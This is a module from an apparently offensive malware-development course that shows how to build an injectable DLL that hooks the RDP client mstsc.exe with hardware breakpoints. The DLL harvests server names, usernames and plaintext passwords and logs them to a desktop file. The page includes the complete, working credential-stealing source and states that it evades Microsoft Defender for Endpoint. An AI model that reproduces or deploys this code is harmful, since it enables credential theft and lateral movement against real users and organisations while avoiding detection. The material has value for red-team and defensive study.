MalDev Study
Advanced Module 11advanced7 code files

Utilizing Hardware Breakpoints For Credential Dumping

In the previous module, hardware breakpoints were utilized to apply patchless user-land API hooking through a stable library. In this module, the same library will be used to ha...

Jump to Section (8)

Introduction

In the previous module, hardware breakpoints were utilized to apply patchless user-land API hooking through a stable library. In this module, the same library will be used to harvest RDP credentials. RDP or Remote Desktop Protocol is a proprietary protocol developed by Microsoft that allows users to connect and control remote computers. RDP is widely used for remote administration, remote assistance, and accessing virtual desktops. Therefore, harvesting RDP credentials can be an effective lateral movement strategy during an engagement.

The implementation constructed in this module will be a DLL file that can be injected into mstsc.exe, which is the RDP client. Once injected, if the credentials are typed into the RDP client the credentials will be logged into a file stored on disk. Additionally, the implementation will be built over RdpThief.

RdpThief uses the detours hooking library to implement API hooking on functions responsible for handling user credentials during the RDP authentication process. The hooking library utilized by RdpThief will undergo modification and replacement with the one developed in the previous module. This update covers information regarding the hooked functions and the corresponding version of detours.

RDPThief - Hooked Functions

RdpThief hooks the following WinAPIs:

  • CredIsMarshaledCredentialW Verifies whether the provided username string is a marshaled credential or not. The term marshaled credential refers to a credential that has been serialized into a suitable format for transmission or storage. Therefore, the CredIsMarshaledCredentialW WinAPI call can be intercepted to harvest the RDP username regarding the results of the API.

The CredIsMarshaledCredentialW function is shown below.

CPP
BOOL CredIsMarshaledCredentialW(
  [in] LPCWSTR MarshaledCredential
);
  • SspiPrepareForCredRead This function is utilized to make preparations for reading credentials by retrieving essential information and determining the suitable credential format. The second parameter of SspiPrepareForCredRead, pszTargetName, is a wide-character string used for passing a target name that represents the entity for which the credentials will be used. pszTargetName can refer to a server name, domain name, service name, or any other identifier that uniquely identifies the target entity.

The SspiPrepareForCredRead function is shown below.

CSHARP
SECURITY_STATUS SEC_ENTRY SspiPrepareForCredRead(
  [in]  PSEC_WINNT_AUTH_IDENTITY_OPAQUE AuthIdentity,
  [in]  PCWSTR                          pszTargetName,
  [out] PULONG                          pCredmanCredentialType,
  [out] PCWSTR                          *ppszCredmanTargetName
);
  • CryptProtectMemory This function serves the purpose of protecting sensitive data stored in memory by encrypting it. In the context of RDP authentication, CryptProtectMemory is employed to encrypt the user's password while it resides in memory. To achieve this, the plaintext password is passed as the first parameter, pDataIn, which is used to retrieve the user's password.

CryptProtectMemory looks like the following:

ASM
DPAPI_IMP BOOL CryptProtectMemory(
  [in, out] LPVOID pDataIn,
  [in]      DWORD  cbDataIn,
  [in]      DWORD  dwFlags
);

Updating SspiPrepareForCredRead

As previously mentioned, SspiPrepareForCredRead is hooked to retrieve the hostname or IP address. In the original RdpThief implementation, SspiPrepareForCredRead's detour function, _SspiPrepareForCredRead, appears as follows:

CPP
static SECURITY_STATUS(WINAPI * OriginalSspiPrepareForCredRead)(PSEC_WINNT_AUTH_IDENTITY_OPAQUE AuthIdentity, PCWSTR pszTargetName, PULONG pCredman
CredentialType, PCWSTR *ppszCredmanTargetName) = SspiPrepareForCredRead;

SECURITY_STATUS _SspiPrepareForCredRead(PSEC_WINNT_AUTH_IDENTITY_OPAQUE AuthIdentity, PCWSTR pszTargetName, PULONG pCredmanCredentialType, PCWSTR *
ppszCredmanTargetName) {

    // Global variable to hold the harvested data
    lpServer = pszTargetName;
    return OriginalSspiPrepareForCredRead(AuthIdentity, pszTargetName, pCredmanCredentialType, ppszCredmanTargetName);
}

Update the _SspiPrepareForCredRead detour function to utilize the functions presented in the previous module. The newly implemented _SspiPrepareForCredRead function utilizes the GETPARM_2 macro to retrieve the value of the second parameter, pszTargetName, which represents the server name. This value is then stored in a global variable (g_lpServer). Next, the CONTINUE_EXECUTION macro is invoked to resume execution at the starting address of the function. Since the focus of this implementation is strictly on parameter retrieval (i.e. retrieving credentials), the original hooked function is not called within its detour version. Therefore, by using hardware breakpoints, not only are patchless execution of hooks achieved but also smaller detour functions are made.

POWERSHELL
VOID _SspiPrepareForCredRead(PCONTEXT pThreadCtx) {

    PCWSTR     pszTargetName     = (PCWSTR)GETPARM_2(pThreadCtx);

    g_lpServer = pszTargetName; // Saving the 'pszTargetName' parameter's value

    CONTINUE_EXECUTION(pThreadCtx);
}

Updating CryptProtectMemory

The CryptProtectMemory function is used to encrypt the RDP password. However, the plaintext password is provided through the first parameter, pDataIn. The original implementation of the _CryptProtectMemory detour function is shown below.

ASM
static DPAPI_IMP BOOL(WINAPI * OriginalCryptProtectMemory)(LPVOID pDataIn,DWORD  cbDataIn, DWORD  dwFlags) = CryptProtectMemory;

BOOL _CryptProtectMemory(LPVOID pDataIn, DWORD  cbDataIn, DWORD  dwFlags) {

    DWORD cbPass = 0;
    LPVOID lpPassword;
    int *ptr = (int *)pDataIn;
    LPVOID lpPasswordAddress = ptr+0x1;
    memcpy_s(&cbPass, 4, pDataIn, 4);
CPP
    // When the password is empty it only counts the NULL byte.
    if (cbPass > 0x2) {
        SIZE_T written = 0;
        lpPassword = VirtualAlloc(NULL, 1024, MEM_COMMIT, PAGE_READWRITE);
        WriteProcessMemory(GetCurrentProcess(), lpPassword, lpPasswordAddress,cbPass,&written);
        lpTempPassword = (LPCWSTR)lpPassword;

    }

    return OriginalCryptProtectMemory(pDataIn, cbDataIn, dwFlags);
}

The updated detour function for CryptProtectMemory, which is shown below, allocates a heap buffer and copies the password to it after calculating the password's address in memory.

CPP
VOID _CryptProtectMemory(PCONTEXT pThreadCtx) {

    LPVOID pDataIn  = (LPVOID)GETPARM_1(pThreadCtx);
    DWORD  cbDataIn = (DWORD)GETPARM_2(pThreadCtx);

    // Calculate the address of the password (RdpThief's code)
    LPVOID  lpPasswordAddress   = ((DWORD*)pDataIn) + 0x01;

    // If password exist
    if ((DWORD)(*(DWORD*)pDataIn) > 0x2) {
        g_lpTempPassword = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, cbDataIn);
        if (g_lpTempPassword) 
            memcpy_s(g_lpTempPassword, cbDataIn, lpPasswordAddress, cbDataIn);
    }

    CONTINUE_EXECUTION(pThreadCtx);
}

Updating CredIsMarshaledCredentialW

Finally, hooking CredIsMarshaledCredentialW will allow fetching the user's RDP username. The original RdpThief detour function, _CredIsMarshaledCredentialW, is shown below.

CPP
static BOOL(WINAPI * OriginalCredIsMarshaledCredentialW)(LPCWSTR MarshaledCredential) = CredIsMarshaledCredentialW;

BOOL _CredIsMarshaledCredentialW(LPCWSTR MarshaledCredential) {

    lpUsername = MarshaledCredential;
    if (wcslen(lpUsername) > 0) {

        WriteCredentials();
    }
    return OriginalCredIsMarshaledCredentialW(MarshaledCredential);
}

As done in previous detour functions, _CredIsMarshaledCredentialW harvests the credentials by saving them into a global variable, g_lpUsername. Before calling the CONTINUE_EXECUTION macro, _CredIsMarshaledCredentialW executes a helper function, WriteCredentialisToDesktop, that writes the collected credentials onto disk.

C
VOID _CredIsMarshaledCredentialW(PCONTEXT pThreadCtx) {

    LPCWSTR MarshaledCredential = (LPCWSTR)GETPARM_1(pThreadCtx);

    g_lpUsername = (LPCWSTR)MarshaledCredential;

    if (wcslen(g_lpUsername) > 0) 
        WriteCredentialisToDesktop();
C
    CONTINUE_EXECUTION(pThreadCtx);
}

The WriteCredentialisToDesktop Function

The WriteCredentialsToDesktop function saves the collected data into a file named Creds.bin onto the desktop.

CPP
#define CREDENTIAL_FILE         L"\\Creds.bin"
#define CREDENTIAL_DATA         L"Server: %s\nUsername: %s\nPassword: %s\n\n"

LPCWSTR g_lpTempPassword  = NULL;
LPCWSTR g_lpUsername      = NULL;
LPCWSTR g_lpServer        = NULL;
CPP
BOOL WriteCredentialisToDesktop() {

    TCHAR       tDesktopPath                [MAX_PATH];
    PTCHAR      tCredsData                  = NULL;
    SIZE_T      sCredsSize                  = NULL;
    HANDLE      hFile                       = INVALID_HANDLE_VALUE;
    DWORD       dwNumberOfBytesWritten      = NULL;
    BOOL        bResult                     = FALSE;

    // Get the desktop dir path
    RtlZeroMemory(tDesktopPath, MAX_PATH);
    if (SHGetFolderPathW(NULL, CSIDL_DESKTOPDIRECTORY, NULL, 0, tDesktopPath) != S_OK) {
        goto _EndOfFunc;
    }

    // Construct the file path
    lstrcatW(tDesktopPath, CREDENTIAL_FILE);

    // Create the file
    if ((hFile = CreateFileW(tDesktopPath, FILE_APPEND_DATA, NULL, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL)) == INVALID_HANDLE_VALUE) {
        goto _EndOfFunc;
    }

    // Calculate the size of the buffer to write, in bytes
    sCredsSize = wcslen(CREDENTIAL_DATA) + wcslen(g_lpTempPassword) + wcslen(g_lpUsername) + wcslen(g_lpServer);
    sCredsSize = sCredsSize * sizeof(WCHAR); 

    // Allocate a heap buffer
    tCredsData = (PTCHAR)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, sCredsSize);
    if (!tCredsData) {
        goto _EndOfFunc;
    }

    // Construct the buffer that contains the collected credentials
    StringCbPrintf(tCredsData, sCredsSize, CREDENTIAL_DATA, g_lpServer, g_lpUsername, g_lpTempPassword);
    // Re-calculate the size
    sCredsSize = wcslen(tCredsData) * sizeof(WCHAR);

    // Write the string into the file
    if (!WriteFile(hFile, tCredsData, sCredsSize, &dwNumberOfBytesWritten, NULL) || (SIZE_T)dwNumberOfBytesWritten != sCredsSize) {
        goto _EndOfFunc;
    }
CPP
    bResult = TRUE;

_EndOfFunc:
    if (tCredsData)
        ZeroMemory(tCredsData, sCredsSize);
    if (tCredsData)
        HeapFree(GetProcessHeap(), 0, tCredsData);
    if (hFile != INVALID_HANDLE_VALUE)
        CloseHandle(hFile);
    return bResult;
}

DllMain Function

When the DLL implementation is loaded into the mstsc.exe process, it should install hooks on the previously mentioned WinAPI functions as part of the DLL loading routine, and remove them during the DLL unloading routine. This is demonstrated in the following DllMain function, which has been modified to utilize the hardware breakpoint hooking library instead of the detours library.

CPP
BOOL APIENTRY DllMain(HMODULE hModule, DWORD dwReason, LPVOID lpReserved) {

    // Dll loading routine - install the hooks
    if (dwReason == DLL_PROCESS_ATTACH) {
        if (!InitHardwareBreakpointHooking())
            return FALSE;
        if (!InstallHardwareBreakingPntHook(SspiPrepareForCredRead, Dr0, _SspiPrepareForCredRead, ALL_THREADS))
            return FALSE;
        if (!InstallHardwareBreakingPntHook(CryptProtectMemory, Dr1, _CryptProtectMemory, ALL_THREADS))
            return FALSE;
        if (!InstallHardwareBreakingPntHook(CredIsMarshaledCredentialW, Dr2, _CredIsMarshaledCredentialW, ALL_THREADS))
            return FALSE;

        MessageBoxW(NULL, L"All Hooks Are Installed", L"HBP_RdpThief", MB_OK | MB_ICONINFORMATION);
    }

    // Dll unloading routine - remove the hooks
    if (dwReason == DLL_PROCESS_DETACH) {
        CleapUpHardwareBreakpointHooking();
        MessageBoxW(NULL, L"Removed All Hooks", L"HBP_RdpThief", MB_OK | MB_ICONINFORMATION);
    }
CPP
    return TRUE;
}

Video Demo

The demo below shows the updated RDPThief DLL successfully hooking mstsc.exe to capture RDP credentials. Microsoft Defender For Endpoint is running and does not detect or prevent the updated RDPThief DLL.

Utilizing Hardware Breakpoints For Credential Dumping figure
Diagram

Companion Project & Source Code

7 readable source/config files extracted directly from the archive

Download Module 11 - HBP_RdpThief.zip
5.1 KB
// @NUL0x4C | @mrd0x : MalDevAcademy

#include <Windows.h>
#include <stdio.h>
#include <shlobj.h>
#include <strsafe.h>
#include <subauth.h>
#include <dpapi.h>
#include <wincred.h>
#define SECURITY_WIN32 
#include <sspi.h>

#include "HardwareBreaking.h"

#pragma comment (lib, "shell32.lib")
#pragma comment (lib, "crypt32.lib")
#pragma comment (lib, "Advapi32.lib")
#pragma comment (lib, "Secur32.lib")

#define CREDENTIAL_FILE         L"\\Creds.bin"
#define CREDENTIAL_DATA         L"Server: %s\nUsername: %s\nPassword: %s\n\n"


LPCWSTR g_lpTempPassword  = NULL;
LPCWSTR g_lpUsername      = NULL;
LPCWSTR g_lpServer        = NULL;


BOOL WriteCredentialisToDesktop() {

    TCHAR       tDesktopPath                [MAX_PATH];
    PTCHAR      tCredsData                  = NULL;
    SIZE_T      sCredsSize                  = NULL;
    HANDLE      hFile                       = INVALID_HANDLE_VALUE;
    DWORD       dwNumberOfBytesWritten      = NULL;
    BOOL        bResult                     = FALSE;

    // Get the desktop dir path
    RtlZeroMemory(tDesktopPath, MAX_PATH);
    if (SHGetFolderPathW(NULL, CSIDL_DESKTOPDIRECTORY, NULL, 0, tDesktopPath) != S_OK) {
        goto _EndOfFunc;
    }

    // Construct the file path
    lstrcatW(tDesktopPath, CREDENTIAL_FILE);

    // Create the file
    if ((hFile = CreateFileW(tDesktopPath, FILE_APPEND_DATA, NULL, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL)) == INVALID_HANDLE_VALUE) {
        goto _EndOfFunc;
    }

    // Calculate the size of the buffer to write, in bytes
    sCredsSize = wcslen(CREDENTIAL_DATA) + wcslen(g_lpTempPassword) + wcslen(g_lpUsername) + wcslen(g_lpServer);
    sCredsSize = sCredsSize * sizeof(WCHAR); 

    // Allocate a heap buffer
    tCredsData = (PTCHAR)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, sCredsSize);
    if (!tCredsData) {
        goto _EndOfFunc;
    }

    // Construct the buffer that contains the collected credentials
    StringCbPrintf(tCredsData, sCredsSize, CREDENTIAL_DATA, g_lpServer, g_lpUsername, g_lpTempPassword);
    // Re-calculate the size
    sCredsSize = wcslen(tCredsData) * sizeof(WCHAR);

    // Write the string into the file
    if (!WriteFile(hFile, tCredsData, sCredsSize, &dwNumberOfBytesWritten, NULL) || (SIZE_T)dwNumberOfBytesWritten != sCredsSize) {
        goto _EndOfFunc;
    }


    bResult = TRUE;

_EndOfFunc:
    if (tCredsData)
        ZeroMemory(tCredsData, sCredsSize);
    if (tCredsData)
        HeapFree(GetProcessHeap(), 0, tCredsData);
    if (hFile != INVALID_HANDLE_VALUE)
        CloseHandle(hFile);
    return bResult;
}



//\
SECURITY_STATUS SspiPrepareForCredRead(PSEC_WINNT_AUTH_IDENTITY_OPAQUE AuthIdentity, PCWSTR pszTargetName, PULONG pCredmanCredentialType, PCWSTR* ppszCredmanTargetName);

VOID _SspiPrepareForCredRead(PCONTEXT pThreadCtx) {

    PCWSTR     pszTargetName     = (PCWSTR)GETPARM_2(pThreadCtx);

    g_lpServer = pszTargetName; // Saving the 'pszTargetName' parameter's value

    CONTINUE_EXECUTION(pThreadCtx);
}


//\
BOOL CryptProtectMemory(LPVOID pDataIn, DWORD  cbDataIn, DWORD  dwFlags);

VOID _CryptProtectMemory(PCONTEXT pThreadCtx) {

    LPVOID pDataIn  = (LPVOID)GETPARM_1(pThreadCtx);
    DWORD  cbDataIn = (DWORD)GETPARM_2(pThreadCtx);

    // calculate the address of the password (RdpThief's code)
    LPVOID  lpPasswordAddress   = ((DWORD*)pDataIn) + 0x01;

    // If password exist
    if ((DWORD)(*(DWORD*)pDataIn) > 0x2) {
        g_lpTempPassword = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, cbDataIn);
        if (g_lpTempPassword) 
            memcpy_s(g_lpTempPassword, cbDataIn, lpPasswordAddress, cbDataIn);
    }


    CONTINUE_EXECUTION(pThreadCtx);
}


//\
BOOL _CredIsMarshaledCredentialW(LPCWSTR MarshaledCredential);

VOID _CredIsMarshaledCredentialW(PCONTEXT pThreadCtx) {

    LPCWSTR MarshaledCredential = (LPCWSTR)GETPARM_1(pThreadCtx);
    
    g_lpUsername = (LPCWSTR)MarshaledCredential;
    
    if (wcslen(g_lpUsername) > 0) 
        WriteCredentialisToDesktop();


    CONTINUE_EXECUTION(pThreadCtx);
}


BOOL APIENTRY DllMain(HMODULE hModule, DWORD dwReason, LPVOID lpReserved) {

    // Dll loading routine - install the hooks
    if (dwReason == DLL_PROCESS_ATTACH) {
        if (!InitHardwareBreakpointHooking())
            return FALSE;
        if (!InstallHardwareBreakingPntHook(SspiPrepareForCredRead, Dr0, _SspiPrepareForCredRead, ALL_THREADS))
            return FALSE;
        if (!InstallHardwareBreakingPntHook(CryptProtectMemory, Dr1, _CryptProtectMemory, ALL_THREADS))
            return FALSE;
        if (!InstallHardwareBreakingPntHook(CredIsMarshaledCredentialW, Dr2, _CredIsMarshaledCredentialW, ALL_THREADS))
            return FALSE;

        MessageBoxW(NULL, L"All Hooks Are Installed", L"HBP_RdpThief", MB_OK | MB_ICONINFORMATION);
    }

    // Dll unloading routine - remove the hooks
    if (dwReason == DLL_PROCESS_DETACH) {
        CleapUpHardwareBreakpointHooking();
        MessageBoxW(NULL, L"Removed All Hooks", L"HBP_RdpThief", MB_OK | MB_ICONINFORMATION);
    }


    return TRUE;
}

Full Archive Manifest (8 files inside .zip)
  • HBP_RdpThief/HBP_RdpThief.sln
  • HBP_RdpThief/HBP_RdpThief/HBP_RdpThief.vcxproj
  • HBP_RdpThief/HBP_RdpThief/HBP_RdpThief.vcxproj.filters
  • HBP_RdpThief/HBP_RdpThief/HBP_RdpThief.vcxproj.user
  • HBP_RdpThief/HBP_RdpThief/HardwareBreaking.h
  • HBP_RdpThief/HBP_RdpThief/HardwareBreakingLib.c
  • HBP_RdpThief/HBP_RdpThief/Structs.h
  • HBP_RdpThief/HBP_RdpThief/dllmain.c

Search all modules and companion code

No matching modules or source files found for “”.
    Covers all 91 Core + 38 Advanced modules + source archives

    Reader Settings & Progress

    Color Theme

    Reading Font Size

    Study Progress & Cross-Device Backup

    0/129
    Completed
    0
    Bookmarked
    0
    Module Notes

    Progress is saved locally in your browser. Export a JSON backup to move your progress between laptop and phone.